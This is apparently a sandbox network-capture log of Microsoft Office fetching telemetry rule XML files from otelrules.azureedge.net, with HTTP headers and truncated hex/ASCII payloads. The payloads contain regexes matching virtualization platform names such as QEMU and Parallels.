2024-11-24 07:44:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:06 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c63dd3a8-001e-0017-61d8-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074406Z-178bfbc474btvfdfhC1NYCa2en00000005v0000000000ktu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:06 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.10	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:06 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:07 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074407Z-178bfbc474bpscmfhC1NYCfc2c0000000470000000009851 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:07 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.10	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:06 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 137cb315-101e-0017-3264-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074407Z-178bfbc474bv587zhC1NYCny5w00000005kg000000003w31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.10	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:07 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 6103508e-901e-0029-1a41-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074407Z-15b8b599d885ffrhhC1TEBtuv0000000043000000000h4dm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 07:44:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.10	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c229ce53-501e-008f-23c3-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074407Z-15b8b599d882l6clhC1TEBxd5c000000042g0000000056z3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.10	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:08 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:08 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 96754fe9-301e-0052-4f54-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074408Z-15b8b599d885v8r9hC1TEB104g000000045g0000000092qw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.10	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:09 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 671fd92a-701e-0097-24e1-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074409Z-178bfbc474bv587zhC1NYCny5w00000005h0000000006we0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.10	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:09 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:09 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074409Z-174c587ffdfp4vpjhC1TEBybqw00000004700000000026qp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:09 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.10	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:09 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 47b859ea-401e-0083-4640-3e075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074409Z-15b8b599d88wk8w4hC1TEB14b8000000048g000000001em0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 07:44:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.10	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:09 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:09 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074409Z-178bfbc474bp8mkvhC1NYCzqnn00000005dg00000000cdbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:09 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.10	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:10 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 7a39f588-d01e-0014-712e-3ded58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074411Z-178bfbc474btvfdfhC1NYCa2en00000005q000000000993r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.10	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:11 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:11 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074411Z-178bfbc474bwh9gmhC1NYCy3rs00000005q0000000009trt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:11 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.10	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
